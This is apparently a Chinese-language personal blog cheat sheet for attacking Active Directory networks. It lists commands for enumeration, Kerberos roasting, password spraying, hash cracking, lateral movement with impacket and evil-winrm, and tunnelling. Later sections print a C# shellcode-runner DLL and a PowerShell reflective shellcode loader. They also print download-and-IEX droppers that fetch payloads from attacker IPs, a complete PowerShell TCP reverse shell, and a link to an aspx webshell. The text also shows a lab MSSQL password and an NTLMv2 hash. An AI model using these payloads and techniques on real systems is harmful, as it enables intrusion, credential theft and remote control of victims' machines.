域之魔法 on wackymaker

血缇之书

Fri, 31 Oct 2025 19:40:56 +0800

信息收集-枚举

前枚举

域名解析

nxc

nxc smb ip --generate-hosts-file hostname

也可以生成krb5.conf

nxc smb $ip --generate-krb5-file krb5.conf

删除原conf

sudo rm /etc/krb5.conf

替换

sudo mv krb5.conf /etc/krb5.conf

同步时间

ntp方式

sudo ntpdate dc
并停止自动更改
sudo service virtualbox-guest-utils stop

手动方式

或者在域机器执行

Get-Date

本机修改

sudo timedatectl set-ntp off
sudo date -s "2025-06-12 04:02:28"

smb方式（隧道环境尤为好用）

密码

net time -S $ip -U "$domain/$user%$pass"
# 代理
sudo proxychains4 net time set -S $ip -U "$domain/$user%$pass"

hash

net time -S $ip -U "$domain/$user" -N --pw-nt-hash $hash
# 代理
sudo proxychains4 net time -S $ip -U "$domain/$user" -N --pw-nt-hash $hash

tgt

sudo proxychains4 net time -S $ip -U "$domain/$user" -N --use-kerberos=desired --use-krb5-ccache=$ccache
#代理
sudo proxychains4 net time -S $ip -U "$domain/$user" -N --use-kerberos=desired --use-krb5-ccache=$ccache

端口详细扫

nmap -p 88,389,445,139,135 -sC -sV --min-rate=10000 -Pn dc01

域sid

nxc

nxc ldap $ip -u $user -p $pass -k --get-sid

impacket

如果ntlm禁用了，我们能通过kerbores认证通过getPac查询管理员的时候顺带查询域sid

impacket-getPac -targetUser administrator $domain/$user:$pass

powershell本地

Get-ADDomain | fl DomainSID

powerview

Get-DomainSid

ftp匿名连接

ftp $ip
使用账号密码anonymous

如果需要文件get，切换binary防止文件损毁

NFS相关

查找匿名共享

showmount -e $ip

查询smb共享

nxc

用户密码

nxc smb $ip_or_$c段 -u $user -p $pass --shares
之后直接连接
smbclient //$ip/forensic -U "$user%$pass"
或者直接挂载
sudo mount -t cifs //$ip/forensic /mnt -o username=$user,password=$pass
取消挂载
sudo umount /挂载点路径

匿名

nxc smb "$ip" -u guest -p '' --shares
还有
nxc smb "$ip" -u wackyamaker -p '' --shares
之后smbclient链接
smbclient //目标IP/共享名 -U '匿名用户%空密码'
或者
smbclient //10.10.11.174/IPC$ -N
也可以直接挂载
mount -t cifs //10.10.10.192/profiles$ /mnt
取消挂载
sudo umount /挂载点路径

无域名使用本地用户认证,只要加上-d . 即可

nxc smb $ip -d . -u $user -p $pass

ntlmhash

#枚举使用nxc即可
连接smbclient使用如下面命令
smbclient -U $user --pw-nt-hash //$ip/$dic $ntlm

smbmap

用户密码

smbmap -H $ip -u $user -p $pass
连接还是用smbclient

匿名

smbmap -H $ip -u 'guest' -p ''

禁用ntlm认证的特殊情况（impacket包）

禁用ntlm认证后我们会使用不了smbmap，nxc等工具，但是impacket包可以使用Kerberos认证

impacket-smbclient -k $domain/$user:$pass@$FQDN -dc-ip $ip

rpc相关

用户密码连接

rpcclient -U "$user%$pass" $ip

匿名连接

rpcclient -U "" -N $ip

进入后执行命令

enumdomusers 列出用户
queryuser <rid> 列出用户相关信息
querydispinfo 获取所有用户较少信息

无预认证票据烘焙攻击（AS-REP Roasting）

先用impacket包查找

for users in $(cat users); do impacket-GetNPUsers -no-pass -dc-ip $ip $domain/$users 2>/dev/null | grep krb5asrep; done
or
impacket-GetNPUsers -usersfile users $domain/ -dc-ip $ip

之后爆破

hashcat -m 18200 svc.asrep.hash /usr/share/wordlists/rockyou.txt --force

服务票据烘培攻击（Service Ticket Roasting or Kerberoasting）

impacket包远程

先查找

impacket-GetUserSPNs $domain/$user:$pass -dc-host $FQDN -dc-ip $ip -request

如果存在无预认证账户，也可以直接利用无预认证hash进行spn枚举,这里举例为jjones用户

impacket-GetUserSPNs -no-preauth jjones -usersfile users -dc-host $ip $domain/

如果存在hash，直接提取爆破

hashcat hash /usr/share/wordlists/rockyou.txt --force

powershell本地

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

本地执行

powershell -c import-module c:\programdata\invoke-kerberoast.ps1; invoke-kerberoast -outputformat hashcat

之后复制其中的hash离线保存爆破

hashcat -m 13100 hashes.kerbi /usr/share/wordlists/rockyou.txt --force

时钟烘焙攻击（Timeroasting）

使用前提

1. 目标必须是计算机账户，不能直接针对普通用户账户（除非做“目标Timeroasting”修改属性）。
2. 目标域控制器开启并响应带有 Microsoft SNTP 扩展认证（MS-SNTP）的 NTP 服务，UDP 123端口开放。
3. 攻击者能向 DC 发送未认证的 MS-SNTP 请求（无需有效凭证）。
4. 能枚举域内计算机账户的 RID（相对标识符）。
5. （可选）针对“目标Timeroasting”，需要域管理员权限，临时修改用户账户属性使其被当作计算机账户处理。
6. 域中计算机账户密码未被强力保护（例如弱密码或未定期更换）。

使用工具以及命令

工具
https://github.com/SecuraBV/Timeroast
命令
python timeroast.py $ip

猎犬提取

nxc

用户密码

nxc ldap "$ip" -u "$user" -p "$pass" --bloodhound --collection All --dns-server "$ip"

传递hash

nxc ldap "$ip" -u "$user" -H "$hash" --bloodhound --collection All --dns-server "$ip"

rusthound

密码

rusthound -d $domain -u $user@$domain -p $pass -f $FQDN -i $ip --fqdn-resolver --adcs -z -o ./

kerbores认证

export KRB5CCNAME="/tmp/jeor.mormont.ccache"
rusthound -d $domain -u $user@$domain -p $pass -f $FQDN -k -i $ip --fqdn-resolver --adcs -z -o ./

ldap被禁用的情况下能使用ldaps加密连接

rusthound -d $domain -u $user1@$domain -p $pass1 -f $FQDN -i $ip --fqdn-resolver --adcs -z -o ./ --ldapport 636

dns服务不正常（透过代理抓取）处理办法:

生成krb5.conf

nxc smb $ip --generate-krb5-file krb5.conf

删除原conf

sudo rm /etc/krb5.conf

替换

sudo mv krb5.conf /etc/krb5.conf

之后抓取

proxychains4 rusthound -i "$ip"  -d "$domain" -u "$user@$domain" -k  -o ./ -z --ldaps -f "$dc"

bloodhound-python

密码

bloodhound-python -d $domain -c ALL -u $user -p $pass -ns $ip --zip

hash

bloodhound-python -d $domain -c ALL -u $user --hashs :$hash -ns $ip --zip

dns服务不正常（透过代理抓取）处理办法

# 先将dc写入hosts
# 之后利用dnsmasq将本地充当dns服务器进行本地解析
# 如果没有需要下载一个
sudo apt-get install dnsmasq
# 将/etc/dnsmasq.conf内容写入如下内容
address/DC01.domain.com/10.10.10.10
# 之后重启dnsmasq服务
sudo systemctl restart dnsmasq
# 指定ns为自身正常抓取
bloodhound-python -d $domain -c ALL -u $user -p $pass -ns 127.0.0.1 -dc $host --zip

ldap查询(包含匿名ldap)

ldapdomaindump抓取所有ldap信息生成可视化图表

用户凭证

ldapdomaindump -u $domain\\$user -p $pass $ip -o ldap/

匿名枚举ldap信息

ldapsearch

获取域根目录
ldapsearch -H ldap://$ip -x -s base namingcontexts
获取域全部信息
ldapsearch -H ldap://$ip -x -b "DC=$domain,DC=com" > ldap-anonymous
单独获取域用户信息
ldapsearch -H ldap://$ip -x -b "DC=$domain,DC=com" '(objectClass=person)' > ldap-people

nxc

如果有匿名权限可以直接访问用户信息，注意这个参数查询不全，建议使用ldapsearch抓取所有信息之后截取dn信息

nxc ldap $ip -u "" -p "" --users

linux相关

落地保护枚举

查主机信息（av）

(new-object system.net.webclient).downloadstring('http://192.168.119.120/HostRecon.ps1') | IEX
Invoke-HostRecon

查powershell语言模式-clm检测

$ExecutionContext.SessionState.LanguageMode

查las保护

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
这个更直观一点
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"

查applocker策略

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

查防火墙策略

powershell.exe -Command "Get-NetFirewallRule -PolicyStore ActiveStore | Where-Object { $_.Action -eq 'Block' }"

后枚举

运行进程查询

powershell

get-process

如果使用winrm登陆查找到explorer，可以尝试打session relyhahs

一个丑陋但是高效的确定是否存在某程序的定时运行，也就是类似linux中的pspy，但是只能针对指定程序,这里指定Bginfo64.exe

FOR /L %i IN (0,1,1000) DO (
  tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" &
  ping -n 2 127.0.0.1 > NUL
)

查看机器当前登陆会话

qwinsta /server:127.0.0.1

如果我们是通过winrm交互的，使用不了上面的命令，因为我们是session0非交互，可以用runas绕过

.\RunasCs.exe x x  -l 9 "qwinsta"

如果存在登陆会话，有两种攻击思路，一种是打跨会话中继（在横向模块），一种是如果目标不停登陆可写启动脚本的话修改目标启动脚本（后渗透模块）

不使用fscan的网段枚举存活机器

cmd

(for /L %a IN (1,1,254) DO ping /n 1 /w 1 172.16.2.%a) | find "Reply"

powershell

$liveHosts = @()
1..254 | ForEach-Object {
    $ip = "172.16.2.$_"
    if (Test-Connection -Quiet -Count 1 $ip) {
        $liveHosts += $ip
        Write-Host "[+] Alive: $ip" -ForegroundColor Green
    }
}
$liveHosts

枚举当前dc

nltest /dsgetdc:$env:USERDOMAIN

查询域管理员

powerview

Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com

枚举组策略

Get-GPO -All | Select-Object DisplayName

windows查看监听端口

netstat -ano | findstr /i "listening"
或者
netstat -ano | findstr LISTEN

查询 .NET Framework net版本

reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s /v Version

查看保存凭证

cmdkey /list

powershell历史记录

(Get-PSReadlineOption).HistorySavePath

查spn（需要管理权限）

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName |
Select-Object SamAccountName, ServicePrincipalName

acl或者用户属性详细枚举

目标可写枚举

bloodyad远程

bloodyAD --host $FQDN --dc-ip $ip -d $domain -u $user -p $pass get writable --detail

powerview本地

#查找当前用户高危权限，就包含可写
Find-InterestingDomainAcl -ResolveGUIDs

用户属性详细枚举

powerview 远程powerview也可

Get-DomainUser -Identity $查询_user -Properties *

nxc

netexec ldap $ip -u $user -p $pass --query "(sAMAccountName=$查询_user)" ""

枚举本机可写目录

上传accesschk64

.\accesschk64 /accepteula -uwds $domain\$user C:\Windows

委派

hash

impacket-findDelegation $domain/$user -dc-ip $ip -hashes :$hash

密码

impacket-findDelegation $domain/$user:$pass -dc-ip $ip

无约束委派

powerview

Get-DomainComputer -Unconstrained

nxc

nxc ldap $ip -u $user -p $pass --trusted-for-delegation

确定打印服务

dir \\cdc01\pipe\spoolss

约束委派

powerview

Get-DomainUser -TrustedToAuth

nxc

nxc ldap $ip -u $user -p $pass --find-delegation
nxc ldap $ip -u $user -H "$hash" --find-delegation

基于资源委派(RBCD)

查找创建机器权限

nxc ldap $ip -u $user -p $pass -M maq

条件：对任意机器账户具有写入权限 powerview

Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

linux查询横向目标

cat /etc/hosts
ip a
ip route
cat /etc/resolv.conf

域相关

域信任

nxc

nxc ldap $ip -u $user -p $pass --dc-list --dns-server $ip

powershell

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetAllTrustRelationships()

林相关

林信任

powerview

Get-DomainTrustMapping

powershell

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GetAllTrustRelationships()

跨林相同用户

powerview

Get-DomainForeignGroupMember -Domain corp2.com

ADCS证书错误查询

certify

老版本
Certify.exe find /vulnerable
新版本
Certify.exe enum-templates --filter-enabled --filter-vulne
rable --hide-admins

certipy-ad

用户密码

certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable

hash传递

certipy find -vulnerable -u $user -hashes :$hash -dc-ip $ip -stdout

kerbores

certipy find -target $FQDN -u $user@$domain -p $pass -k -vulnerable -stdout -dc-ip $ip

linux相关

网段枚举存活主机

icmp

for i in {1..255};do(ping -c 1 172.16.1.$i|grep "bytes from"|cut -d' ' -f4|tr -d ':' &);done
or
sudo nmap -sn 10.10.110.0/24

arp

arp

nmap确认存活主机

nmap -PE -PS22,80,443 -PA3389 -PP 10.10.110.0/24
#-PE发送 ICMP Echo Request（ping）包探测主机是否在线。
#-PS22,80,443发送 TCP SYN 包到端口 22（SSH）、80（HTTP）、443（HTTPS）探测主机是否在线。
#-PA3389发送 TCP ACK 包到端口 3389（远程桌面服务），用来探测是否有防火墙规则允许响应。
#-PP发送 ICMP Timestamp Request（时间戳请求）包，另一种探测主机的 ICMP 包。

爆破及喷洒

用户密码类爆破及喷洒

nxc密码喷洒

加上这个参数，否则第一个匹配成功就会结束

--continue-on-success
例如
nxc smb $ip -u users -p $pass1 --no-bruteforce

加上这个参数，会利用密码和用户名交叉喷洒尝试所有可能

--continue-on-success

winrm密码喷洒 nxc

nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

mssql爆破（九头蛇

hydra $ip mssql -L ./user.txt -P ./pass.txt

dc存活用户枚举

kerbrute爆破

kerbrute userenum --dc $ip -d $domain /opt/user.txt
-v:详细输出
-t:指定线程最高10

rid爆破枚举

smb相关rid爆破

nxc_rid爆破（需要smb凭证，匿名也可）默认4000循环

nxc smb $ip -u guest -p '' --rid-brute

可提升

nxc smb $ip -u guest -p '' --rid-brute 10000

也可以使用impacket包

impacket-lookupsid -no-pass guest@$FQDN 20000

mssql相关ris爆破

如果只有mssql权限的话，可以使用下面的脚本跑

先查询域名和管理员的sid

SQL (SQLGuest  guest@master)> select default_domain()
             
----------   
REDELEGATE   

SQL (SQLGuest  guest@master)> select sys.fn_varbintohexstr(SUSER_SID('REDELEGATE\Administrator'))
                                                             
----------------------------------------------------------   
0x010500000000000515000000a185deefb22433798d8e847af4010000

将获取到的sid基准填入下方并且更改下面的连接信息

#!/bin/bash

check_rid() {
    SID_BASE="010500000000000515000000a185deefb22433798d8e847a"
    local RID=$1
    local HEX_RID=$(python -c "import struct; print(struct.pack('<I', ${RID}).hex())")
    local SID="${SID_BASE}${HEX_RID}"
    local RES=$(impacket-mssqlclient SQLGuest:zDPBpaF4FywlqIv11vii@10.129.234.50 -file <( echo "select SUSER_SNAME(0x${SID});") 2>&1 | sed -n '/^----/{n;p;}')

    if [[ "$(echo "$RES" | xargs)" != "NULL" ]]; then echo "${RID}: ${RES}"; fi
}

也可以使用msf

开启msf后直接使用下面的模块

wackymaker@kali$ msfconsole
...[snip]...
msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) >

msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > options

Module options (auxiliary/admin/mssql/mssql_enum_domain_accounts):

   Name                 Current Setting       Required  Description
   ----                 ---------------       --------  -----------
   FuzzNum              10000                 yes       Number of principal_ids to fuzz.
   PASSWORD             zDPBpaF4FywlqIv11vii  no        The password for the specified username
   RHOSTS               dc.redelegate.vl      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
                                                        ics/using-metasploit.html
   RPORT                1433                  yes       The target port (TCP)
   USERNAME             SQLGuest              no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false                 yes       Use windows authentication (requires DOMAIN option set)

nxc高版本也可以

nxc mssql $ip -u $user -p $pass  --local-auth --rid-brute

ldap查询

nxc ldap $ip -u $user -p $pass --users

如果以上nxc普通域用户无法枚举则是权限不够，可以通过创建机器用户并用机器用户枚举成功，注意不排除存在匿名ldap权限

#查询可创建机器用户数量
nxc ldap $ip -u $user -p '$pass' -M maq
#创建机器用户
addcomputer.py -computer-name wacky$ -computer-pass 'wa2ky!wa2ky!' -dc-host $FQDN -dc-ip $ip $domain_without_com/$user:$pass

impacket包lookupsid枚举

impacket-lookupsid $user:$pass@$ip

rpc查询

用户密码连接

rpcclient -U "$user%$pass" $ip

匿名连接

rpcclient -U "" -N $ip

进入后执行命令

enumdomusers 列出用户
queryuser <rid> 列出用户相关信息
querydispinfo 获取所有用户较少信息

ntlm_v2_hash爆破

获取v2 hash举例如下

Administrator::WIN-487IMQOIA8E:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000

保存为文件并且爆破

hashcat -m 5600 administrator-ntlmv2 /usr/share/wordlists/rockyou.txt  --force

数据类型爆破

hashcat对照表

https://hashcat.net/wiki/doku.php?id=example_hashes

ansible密钥爆破

首先将密钥恢复至如下格式

$ANSIBLE_VAULT;1.1;AES256
633038313035343032663564623737313935613133633130383761663365366662326264616536303437333035366235613437373733316635313530326639330a643034623530623439616136363563346462373361643564383830346234623235313163336231353831346562636632666539383333343238343230333633350a6466643965656330373334316261633065313363363266653164306135663764

利用ansible2john转换格式

ansible2john hash.txt > hash

删去转换完hash前面的文件名只保留如下格式

$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635

利用hashcat爆破

hashcat hash /usr/share/wordlists/rockyou.txt

爆破完毕后得到的密码，用于解密原先的hash.txt

cat hash.txt | ansible-vault decrypt

自动要求密码，输入之前解密完毕的密码即可提取密文

kdbx数据爆破

john配合hashcat

keepass2john keepass.kdbx > keepass.hash
之后将hash文件前面的文件名删除（打开后删除）
hashcat -m 13400 -a 0 -w 1 keepass.hash dic2.txt --force

keepass4brute

keepass4brute.sh recovery.kdbx
之后
keepassxc-cli export -f csv recovery.kdbx > output.csv

pfx证书爆破

利用john提取hash

pfx2john.py file.pfx | tee file.hash

去除头部文件名，交给hashcat或者john爆破

hashcat file.hash /usr/share/wordlists/rockyou.txt

用爆破出的密码解密,会提示我们输入新密码，不要改新密码继续用原来的

openssl pkcs12 -in file.pfx -nocerts -out file.key-enc

利用解密出来的证书和原证书生成私钥和证书

openssl rsa -in file.key-enc -out file.key
openssl pkcs12 -in file.pfx -clcerts -nokeys -out file.crt

cert.key爆破

也可以正对key直接爆破

pem2john cert.key | tee hash

删去hash部分中的$pbkdf 2$sha256$aes256_cbc，才能hashcat爆破

hashcat hash rockyou.txt

之后可以利用key和cert创建pfx证书

openssl pkcs12 -export -inkey cert.key -in cert.crt -out cert.pfx

zip压缩包爆破

zip压缩包格式很多，解密出来的hash格式需要去hashcat对照表修改进行爆破，但是简单来说只要把文件名删去即可

首先是john转换hash

zip2john file.zip > file.hash

将hash中的文件名部分删去，前面后面都得删，才能符合hashcat格式

之后直接跑hashcat

hashcat file.hash /usr/share/wordlists/rockyou.txt

爆出来直接解密即可

当然也可以不删文件名，直接利用john处理生成的hash文件

john  --wordlist=/usr/share/wordlists/rockyou.txt file.hash

putty数据爆破

提取hash

putty2john private.ppk > private.ppk.john

爆破

john  --wordlist=/usr/share/wordlists/rockyou.txt private.ppk.john

无文件落地载荷以及常用载荷

winrm横向

本地powershell

Enter-PSSession -ComputerName <机器名> -Authentication Kerberos

远程evil-winrm

hash

evil-winrm -i $ip -u $user -H $ntlm

密码

evil-winrm -i $ip -u $user -p $pass

证书

evil-winrm -i $domain -S -k <私钥> -c <公钥>
例如
evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

远程evil-winrm-py

相比起evil-winrm额外具备加载我们本地ps1脚本的能力，但是不具备bbypass amsi

hash

evil-winrm-py -i $ip -u $user -H $ntlm

密码

evil-winrm-py -i $ip -u $user -p $pass

证书

evil-winrm-py -i $domain -S -k <私钥> -c <公钥>
例如
evil-winrm-py -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

远程winrmexec.py（更兼容ssl，也就是https协议的winrmshell）

下载

https://raw.githubusercontent.com/ozelis/winrmexec/main/winrmexec.py

使用(与impackt包一样的权限传递)

python3 winrm.py -ssl -port 5986 -k $doamin/$user@$ip -no-pass

Impacket 工具集中用于远程命令执行的脚本

工具	机制	权限要求	上传文件	交互式 Shell	隐蔽性	稳定性	适用环境
psexec.py	创建服务	高	是	是	低	高	可创建服务的目标
smbexec.py	服务或计划任务	高	否	否	中	中	共享服务开启
wmiexec.py	WMI 调用	高	否	半（伪交互）	高	中等	开启 RPC/WMI 的目标

‘./administrator’其中的./表示本地管理员

psexec使用

域内用户使用

impacket-psexec "$domain/$user:$pass@$ip"

使用hash

impacket-psexec "$domain/$user@$ip" -hashes $hashes -no-pass

使用票据

impacket-psexec "$domain/$user@$ip" -k -no-pass

域内本地计算机用户

impacket-psexec '.\$user':$pass@$ip

使用hash

impacket-psexec '.\$user'@$ip -hashes $hashes -no-pass

使用票据

impacket-psexec '.\$user'@$ip -k -no-pass

smbexec使用

域内用户使用

impacket-smbexec "$domain/$user:$pass@$ip"

使用hash

impacket-smbexec "$domain/$user@$ip" -hashes $hashes -no-pass

使用票据

impacket-smbexec "$domain/$user@$ip" -k -no-pass

域内本地计算机用户

impacket-smbexec '.\$user':$pass@$ip"

使用hash

impacket-smbexec '.\$user'@$ip -hashes $hashes -no-pass

使用票据

impacket-smbexec '.\$user'@$ip -k -no-pass

wmiexec使用

域内用户使用

impacket-wmiexec "$domain/$user:$pass@$ip"

传递hash

impacket-wmiexec "$domain/$user@$ip" -hashes $hashes -no-pass

传递票据

impacket-wmiexec "$domain/$user@$ip" -k -no-pass

域内本地计算机用户

impacket-wmiexec '.\$user':$pass@$ip

传递hash

impacket-wmiexec '.\$user'@$ip -hashes $hashes -no-pass

传递票据

impacket-wmiexec '.\$user'@$ip -k -no-pass

dll反射

托管dll源码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;

namespace powershell_1
{
    public class Class1
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);



        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void runner()
        {
            byte[] buf = new byte[810] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
///////////////////////////////////////////////////////////
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
 
    }
}

投放器-powershell

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.50.120/ClassLibrary1.dll')

$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

powershell反射

ps1源码

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])
    $type.
      DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
        SetImplementationFlags('Runtime, Managed')
    $type.
      DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,///////////////////////////////////////////////////////////////////////////////8,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

投放器-powershell

powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.50.120/run.ps1') | IEX

powershell无文件加载

无文件加载ps1脚本

powershell -ExecutionPolicy Bypass -Command "(new-object net.webclient).downloadstring('http://10.10.16.20/shell.ps1') | IEX"

或

cmd /c powershell -ep Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.221/revershell.ps1')"

无文件加载.NET程序集工具（例如rubeurs.exe）

先下到内存

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')

开空间

$assem = [System.Reflection.Assembly]::Load($data)

执行参数

[Rubeus.Program]::Main("执行参数".Split())
例如
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

如果想无参数执行

先
$entryPoint = $assem.EntryPoint
之后
$mainMethod.Invoke($null, @(, [string[]] @()))

revershell

powershell

$client = New-Object System.Net.Sockets.TCPClient('192.168.174.129', 7777)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = [System.Text.Encoding]::ASCII.GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (Get-Location).Path + "> "
$sendbyte = [System.Text.Encoding]::ASCII.GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()

常用webshell

aspx

带反弹shell功能的集成大马

https://github.com/jivoi/pentest/blob/master/shell/insomnia_shell.aspx

隧道搭建

灵活使用

流量转发（无服务端，只是单纯转发流量）

socat

当我们并不需要端口转发导致占用本地端口的时候，我们可以在一层内网做流量转发，让二层内网机器访问到kali，常配合用于hash钓鱼

https://github.com/3ndG4me/socat/releases/tag/v1.7.3.3

直接在想要转发流量的机器执行命令

./socat-lin64.bin TCP4-LISTEN:445,fork TCP4:$kali的ip:445

这里举例的是转发本地445流量到kali的445，注意无回显是正常运行

端口转发

chisel

反向

# Kali（公网服务器）作为服务端
./chisel server --port 8000 --reverse
# 边界主机（内网）作为客户端
./chisel client <KALI_IP>:8000 R:<KALI_PORT>:<TARGET_IP>:<TARGET_PORT>
#示例：转发内网 192.168.1.100:3389 到 Kali 的 8083 端口
./chisel client 10.10.14.5:8000 R:8083:192.168.1.100:3389

正向

# 边界主机（内网）作为服务端
./chisel server --port 8000
# Kali（公网服务器）作为客户端
./chisel client <BORDER_IP>:8000 <KALI_PORT>:<TARGET_IP>:<TARGET_PORT>
#示例：访问 Kali 的 8080 即访问内网 192.168.1.100:80
./chisel client 192.168.176.128:8000 8080:192.168.1.100:80

ssh

简单来说-L 流量中本地转发到远方，-R流量总远方转发到本地

本地转发（访问本机端口穿透到远程）

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<JUMP_HOST> -p <SSH_PORT>
#示例：通过跳板机访问内网 Web
ssh -L 8080:192.168.1.100:80 root@10.10.14.5 -p 22

远程转发（将内网服务暴露到公网）

ssh -R <REMOTE_PORT>:<LOCAL_IP>:<LOCAL_PORT> <USER>@<PUBLIC_SERVER> -p <SSH_PORT>
#示例：将内网 RDP 暴露到公网服务器 3389 端口
ssh -R 3389:127.0.0.1:3389 kali@10.10.14.5 -p 22

frp

服务端配置文件(frps.ini)

[common]
bind_port = 7000          # 服务端监听端口
dashboard_port = 7500     # 控制面板端口
dashboard_user = admin
dashboard_pwd = password
token = your_token_123    # 认证令牌

客户端配置文件()

[common]
server_addr = 10.10.14.5 # frps 公网 IP
server_port = 7000
token = your_token_123

# 转发内网 SSH 服务
[ssh]
type = tcp
local_ip = 192.168.1.100
local_port = 22
remote_port = 6000

# 转发内网 Web 服务
[web]
type = http
